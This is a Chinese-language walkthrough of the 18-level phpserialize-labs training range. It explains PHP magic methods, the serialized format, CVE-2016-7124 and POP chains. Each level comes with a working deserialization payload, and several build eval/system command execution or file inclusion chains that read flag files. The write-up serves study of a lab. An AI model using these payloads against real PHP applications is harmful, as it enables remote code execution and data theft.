PHP 反序列化漏洞通关攻略 (phpserialize-labs WP)
PHP 反序列化漏洞通关攻略 (phpserialize-labs WP)
本篇题解针对 phpserialize-labs 靶场(共 18 个关卡)进行了系统的漏洞分析与原理解析。通过分析 PHP 面向对象编程中的魔术方法触发逻辑、GC(垃圾回收)机制、反序列化修饰符规则以及 POP 链的构造,帮助深入理解 PHP 反序列化漏洞的核心成因。
LEVEL 1 类的实例化

💡 漏洞分析
- 魔术方法:
__construct()是 PHP 类的构造函数,在对象被实例化(使用new关键字创建对象)时自动调用。 - 触发逻辑:题目直接将传入的
code进行执行,只需通过new FLAG()实例化FLAG类,即可自动触发构造函数并获取 flag。
🔑 漏洞利用 (Payload)
code=$a = new FLAG();

LEVEL 2 对象中值的传递

💡 漏洞分析
- 属性操作:题目实例化了
target对象。若要输出 flag,需要通过调用该对象的get_free_flag()方法。 - 值传递关系:在调用方法前,需要将存储 flag 值的全局变量
$flag_string赋值给target对象的成员属性free_flag。
🔑 漏洞利用 (Payload)
code=$target->free_flag = $flag_string;

LEVEL 3 对象中值的权限

💡 漏洞分析
- 访问控制修饰符:
public(公共):类外部可以直接访问。protected(受保护):外部不可直接访问,通常需要通过类内部定义的 Getter 方法访问。private(私有):外部不可直接访问,且无法被子类继承,必须通过类内部定义的方法访问。
- 利用思路:对于
sub_target对象:- 公共属性可以直接读取:
$sub_target->public_flag。 - 受保护属性通过方法读取:
$sub_target->get_protected_flag()。 - 私有属性通过方法读取:
$sub_target->get_private_flag()。 拼接这三个值即可获取完整 flag。
- 公共属性可以直接读取:
🔑 漏洞利用 (Payload)
code=echo $sub_target->public_flag;
echo $sub_target->get_protected_flag();
echo $sub_target->get_private_flag();

LEVEL 4 序列化初体验

💡 漏洞分析
- 漏洞机理:当类属性全部为私有属性,且外部没有直接输出它们的方法时,无法通过直接调用的方式读取。
- 序列化导出:
serialize()函数将对象序列化为包含其所有类型、名称和属性值的字符串。即便属性被定义为private,其值在序列化后的文本中依然是可见且可被导出的。
🔑 漏洞利用 (Payload)
code=echo serialize($flag_is_here);

LEVEL 5 序列化的普通值规则

💡 漏洞分析
本关主要考查 PHP 序列化后的格式解析。PHP 序列化后的格式如下:
| 数据类型 | 格式表示 | 说明 |
|---|---|---|
| String | s:长度:"内容"; | 字符串 |
| Integer | i:数值; | 整数 |
| Boolean | b:1; / b:0; | 布尔值 (true / false) |
| Null | N; | 空值 |
| Array | a:键值对数量:{键;值;...} | 数组 |
| Object | O:类名长度:"类名":属性数量:{属性键;属性值;...} | 对象 |
根据各输入参数的判等条件,依次构造匹配的反序列化字符串:
b需为布尔值true->b:1;n需为NULL->N;s需为字符串"IWANT"->s:5:"IWANT";i需为整数1->i:1;o需为a_class实例,其属性a_value值为"FLAG"->O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}a需为数组,且包含键值对['a' => 'Plz', 'b' => 'Give_M3']->a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}
🔑 漏洞利用 (Payload)
o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&s=s:5:"IWANT";&i=i:1;&b=b:1;&n=N;

LEVEL 6 序列化的权限修饰规则

💡 漏洞分析
不同权限的类属性在进行序列化时,其属性名在底层表示上会添加特定的前缀:
public属性:属性名保持不变。protected属性:前缀为%00*%00(即\x00*\x00包含 2 个空字节,长度计算需加上前缀字符数)。private属性:前缀为%00类名%00(即\x00ClassName\x00包含 2 个空字节,长度计算需加上类名和前缀字符数)。
题目提示了对应的结构,需要我们手工补全属性的值:
privateKEY对象的属性private_key值为"private_key"protectedKEY对象的属性protected_key值为"protected_key"
由于属性名包含 \x00 (空字节),在 URL 传输时必须使用 %00 进行编码。
🔑 漏洞利用 (Payload)
private_key=O:10:"privateKEY":1:{s:23:"%00privateKEY%00private_key";s:11:"private_key";}&protected_key=O:12:"protectedKEY":1:{s:16:"%00*%00protected_key";s:13:"protected_key";}

LEVEL 7 实例化与反序列化

💡 漏洞分析
- 漏洞点:页面接收参数
o并对其执行unserialize()操作,随后调用backdoor()方法。 - 后门分析:
FLAG类中定义了backdoor()方法,内部执行eval($this->flag_command)。 - 利用构造:我们将
FLAG类的flag_command属性设置为命令执行语句。反序列化后,当程序执行$o->backdoor()时即可触发 RCE。 - 注:在 Linux 环境下,直接读取 PHP 文件(如
cat flag.php)可能会因为网页将<?php当作 HTML 标签过滤而显示空白。使用tac flag.php(反向读取)或在浏览器中Ctrl + U查看网页源代码即可查看到完整的 flag 内容。
🔑 漏洞利用 (Payload)
o=O:4:"FLAG":1:{s:12:"flag_command";s:23:"system('tac flag.php');";}

LEVEL 8 构造函数和析构函数以及GC机制
💡 漏洞分析
- 生命周期魔术方法:
__construct():在新建对象时被调用。其内部包含了$flag = 0; $flag++;,也就是说每一次new操作,都会将全局变量$flag重置为1。__destruct():当对象被销毁(或脚本运行结束)时自动调用。每次销毁对象,$flag增加1。
- GC (垃圾回收机制):
- 垃圾回收会在变量不被引用时(例如在作用域外、被
unset或被覆盖)立即回收它并释放内存,这会当场触发__destruct。 - 题目要求的
check()触发条件是$flag > 5。由于在eval()执行完毕后才会调用check(),如果等到脚本自然结束,则在check()执行时$flag并未增加。因此,我们必须在eval()执行阶段手动销毁对象,以提早累加$flag的值。
- 垃圾回收会在变量不被引用时(例如在作用域外、被
🔑 漏洞利用 (Payload)
方案一:手动销毁引用
通过实例化多个对象,并利用 unset() 手动销毁它们以提前调用析构函数:
code=$a=new RELFLAG(); $b=new RELFLAG(); $c=new RELFLAG(); $d=new RELFLAG(); $e=new RELFLAG(); unset($a); unset($b); unset($c); unset($d); unset($e);
(由于最后一次 $e 被销毁时 $flag 增至 5,配合垃圾回收或前置对象积累,可以成功突破 5 的限制。)

方案二:利用匿名对象生存周期 (即时回收)
如果不将新建的对象赋值给变量,该匿名对象在没有引用的情况下会在创建后被垃圾回收器立即销毁,从而当场调用析构函数。由于不用变量承载,我们也无需反复进行 unset():
code=new RELFLAG(); new RELFLAG(); new RELFLAG(); new RELFLAG(); new RELFLAG(); new RELFLAG();
或者使用序列化链式调用:
code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));

LEVEL 9 构造函数的后门

💡 漏洞分析
- 生命周期细节:反序列化过程(
unserialize())不会触发类的构造函数(__construct),但对象生命周期结束时依然会触发析构函数(__destruct)。 - 利用点:
__destruct()会调用eval($this->flag_command)。因此,我们可以像 Level 7 一样直接传入序列化数据来篡改该属性。 - 环境差异:
- Windows 环境下使用
type命令读取文件:type flag.txt。 - Linux 环境下通常使用
cat读取文件:cat /flag。
- Windows 环境下使用
🔑 漏洞利用 (Payload)
o=O:4:"FLAG":1:{s:12:"flag_command";s:24:"system('type flag.txt');";}

LEVEL 10 __wakeup()

💡 漏洞分析
- 魔术方法:
__wakeup()会在反序列化(unserialize())成功执行之后被自动调用。 - 题目分析:此题没有对反序列化后作任何限制,且
__wakeup()会输出 flag。因此只需反序列化一个空的FLAG对象即可触发它。
🔑 漏洞利用 (Payload)
o=O:4:"FLAG":0:{}

LEVEL 11 __wakeup() CVE-2016-7124

💡 漏洞分析
- 核心漏洞 (CVE-2016-7124):在 PHP 5 < 5.6.25 和 PHP 7 < 7.0.10 的版本中,若反序列化字符串中声明的属性个数大于实际定义的属性个数,则
__wakeup()魔术方法会被绕过,而析构函数__destruct()仍会被调用。 - 绕过原因:题目在
__wakeup()中执行了$this->flag = NULL;清空了 flag。通过将声明的属性个数从1修改为2(大于实际定义的属性个数),即可绕过__wakeup()限制,防止 flag 被覆盖,并在析构函数中顺利输出 flag。
🔑 漏洞利用 (Payload)
o=O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}

LEVEL 12 __sleep()

💡 漏洞分析
- 魔术方法:
__sleep()会在对象被序列化(serialize())之前被自动调用,必须返回一个包含所有需要被序列化的属性名称的数组。如果属性不在返回的数组中,该属性就不会被包含在序列化的结果中。 - 题目分析:根据代码的提示:
FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g我们可以依次通过 GET 参数向对应的属性传入非空的值,从而将它们拼接到一起。
🔑 最终 Flag
HelloCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}
LEVEL 13 __toString()

💡 漏洞分析
- 魔术方法:
__toString()会在对象被当作字符串对待(如使用echo,print或与字符串拼接)时自动触发。 - 构造思路:通过传入
code将传入 of$obj进行echo输出,即可触发该方法打印出 flag。
🔑 漏洞利用 (Payload)
o=echo $obj;

LEVEL 14 __invoke()

💡 漏洞分析
- 魔术方法:
__invoke()会在尝试以调用函数的方式(如$obj())来调用一个对象时被自动触发。 - 构造思路:接收参数后,以函数调用形式执行该对象,并传入所需的动作名称
'get_flag',即可调用成功并打印出 flag。
🔑 漏洞利用 (Payload)
o=$obj('get_flag');

LEVEL 15 POP 链前置

💡 漏洞分析
面向属性编程 (POP) 是在类的方法中利用对象属性的相互调用,组合出一条执行流。本题的执行路径如下:
graph TD
unserialize --触发--> A["D::__wakeup()"]
A --调用 $this->d->action()--> B["destnation::action()"]
B --调用 $this->cmd->show()--> C["A::show()"]
C --调用 $this->a->show()--> D["B::show()"]
D --调用 $this->b->show()--> E["C::show()"]
E --命令执行 eval($this->c)--> F[RCE]
各层对象的嵌套关系:
D类的$d属性指向destnation的实例。destnation类的$cmd属性指向A的实例。A类的$a属性指向B的实例。B类的$b属性指向C的实例。C类的$c属性为我们要执行的系统命令字符串。
🔑 漏洞利用 (Payload)
o=O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:24:"system('type flag.php');";}}}}}

LEVEL 16 POP 构造

💡 漏洞分析
该关卡需要利用魔术方法的级联触发,构造出一条完整的漏洞链:
graph TD
unserialize --触发--> A["INIT::__wakeup()"]
A --"echo $this->name (将对象当字符串)"--> B["B::__toString()"]
B --"($this->b)() (将对象当函数执行)"--> C["A::__invoke()"]
C --"include $this->a"--> D[读取 flag.php]
- 第一步:
INIT的__wakeup()会执行echo $this->name;,只要将$name设为B类的实例,就会触发B的__toString()。 - 第二步:
B的__toString()执行($this->b)();,将对象$b当作函数调用,若将$b设为A类的实例,则会触发A的__invoke()。 - 第三步:
A的__invoke()会包含$this->a。若将$a设为'flag.php',即可成功将 flag.php 包含并执行输出。
🔑 漏洞利用 (Payload)
o=O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}

LEVEL 17 字符串逃逸基础-无中生有

💡 漏洞分析
- 类定义与属性动态生成:PHP 在反序列化一个对象时,如果序列化字符串中声明了该类定义中没有的属性,反序列化后,PHP 会动态为该对象添加这些原本不存在的成员属性。
- 绕过原理:
A本来是一个空类,但是我们在反序列化字符串中声明了属性helloctfcmd,反序列化后该对象便动态拥有了该属性。
🔑 漏洞利用 (Payload)
o=O:1:"A":1:{s:11:"helloctfcmd";s:8:"get_flag";}

LEVEL 18 字符串逃逸基础-尾部判定

💡 漏洞分析
- 反序列化截断原则 (尾部判定):在进行反序列化时,PHP 引擎只关心序列化声明的信息。当根据声明的信息(包括对象类型、属性个数以及对应的键值长度与值)解析到闭合的大括号
}时,反序列化解析会立即停止,大括号之后多余的任何字符都会被完全忽略。 - 构造思路:题目在服务端接收
$target和$change拼接并序列化,由于我们可以控制$change的输入,我们可以人为地在$change中加入一个},提前完成整个对象的闭合,并在后面写入我们希望覆盖或额外生成的属性结构,从而实现反序列化漏洞。
🔑 漏洞利用 (Payload)
?target=Demo&change=FLAG":1:{s:3:"key";s:8:"GET_FLAG";}
